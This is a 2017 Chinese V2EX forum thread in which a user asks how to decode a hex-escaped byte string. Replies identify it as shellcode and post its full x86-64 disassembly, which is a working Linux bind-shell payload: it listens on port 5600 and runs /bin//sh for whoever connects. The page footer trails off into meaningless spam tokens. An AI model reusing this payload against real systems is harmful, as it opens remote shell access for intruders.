一个 decode 的问题 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
artandlol

一个 decode 的问题

  •  
  •   artandlol Mar 9, 2017 1712 views
    This topic created in 3336 days ago, the information mentioned may be changed or developed.

    如下 C 语言的 decode 如何还原成源码 尝试过多种decode,发现并不好使。 如hex的 [https://www.traccar.org/hex-decoder/]

    源码:

    \x48\x31\xc0\x48\x31\xf6\x99\x6a\x29\x58\xff\xc6\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x50\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x48\x31\xc0\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05 
    10 replies    2017-03-09 14:19:36 +08:00
    artandlol
        1
    artandlol  
    OP
       Mar 9, 2017
    help~~~
    lcdtyph
        2
    lcdtyph  
       Mar 9, 2017 via Android
    要先知道编码方式才能解码啊
    artandlol
        3
    artandlol  
    OP
       Mar 9, 2017
    @lcdtyph
    像\xc0 应该就是 16 进制的
    lcdtyph
        4
    lcdtyph  
       Mar 9, 2017 via Android
    @artandlol 我知道这是 16 进制序列。我是说这个序列是什么编码, utf8 还是只是二进制数据。不是问这个序列怎么表示的。
    zpf124
        5
    zpf124  
       Mar 9, 2017
    @artandlol 是 16 进制,但是是怎么加密的你知道么? 你能直接按照 ASCII 处理么?
    \x48 = 72 = H ?

    那我要是编码的时候 给码值处理一下呢?

    比如 “明文 + 7 存储” 行不行? 变成这样。
    A = 65 + 7 = \x48
    * = 42 + 7 = \x31


    不知道加密规则根本没法猜啊...暴力穷举?
    artandlol
        6
    artandlol  
    OP
       Mar 9, 2017
    @zpf124
    @lcdtyph
    用 hex decoder 解码出来的结果后半部分 /bin//sh 这个数据应该是正常的
    zpf124
        7
    zpf124  
       Mar 9, 2017
    @artandlol 那这样前面的也是正常的, ACSII 字符和数字是唯一对应的。
    lcdtyph
        8
    lcdtyph  
       Mar 9, 2017 via Android
    @artandlol 那么显然这是一段 shellcode ,请用反汇编器解码
    python 的 pwntools 有相应模块
    lcdtyph
        9
    lcdtyph  
       Mar 9, 2017
    0: 48 31 c0 xor rax,rax
    3: 48 31 f6 xor rsi,rsi
    6: 99 cdq
    7: 6a 29 push 0x29
    9: 58 pop rax
    a: ff c6 inc esi
    c: 6a 02 push 0x2
    e: 5f pop rdi
    f: 0f 05 syscall
    11: 48 97 xchg rdi,rax
    13: 6a 02 push 0x2
    15: 66 c7 44 24 02 15 e0 mov WORD PTR [rsp+0x2],0xe015
    1c: 54 push rsp
    1d: 5e pop rsi
    1e: 52 push rdx
    1f: 6a 10 push 0x10
    21: 5a pop rdx
    22: 6a 31 push 0x31
    24: 58 pop rax
    25: 0f 05 syscall
    27: 50 push rax
    28: 5e pop rsi
    29: 6a 32 push 0x32
    2b: 58 pop rax
    2c: 0f 05 syscall
    2e: 6a 2b push 0x2b
    30: 58 pop rax
    31: 0f 05 syscall
    33: 48 97 xchg rdi,rax
    35: 6a 03 push 0x3
    37: 5e pop rsi
    38: ff ce dec esi
    3a: b0 21 mov al,0x21
    3c: 0f 05 syscall
    3e: 75 f8 jne 0x38
    40: 48 31 c0 xor rax,rax
    43: 99 cdq
    44: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
    4b: 2f 73 68
    4e: 53 push rbx
    4f: 54 push rsp
    50: 5f pop rdi
    51: 6a 3b push 0x3b
    53: 58 pop rax
    54: 0f 05 syscall
    artandlol
        10
    artandlol  
    OP
       Mar 9, 2017
    @lcdtyph 搞定
    thx !!
    About     Help     Advertise     Blog     API     FAQ     Solana     5783 Online   Highest 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 36ms UTC 07:18 PVG 15:18 LAX 00:18 JFK 03:18
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86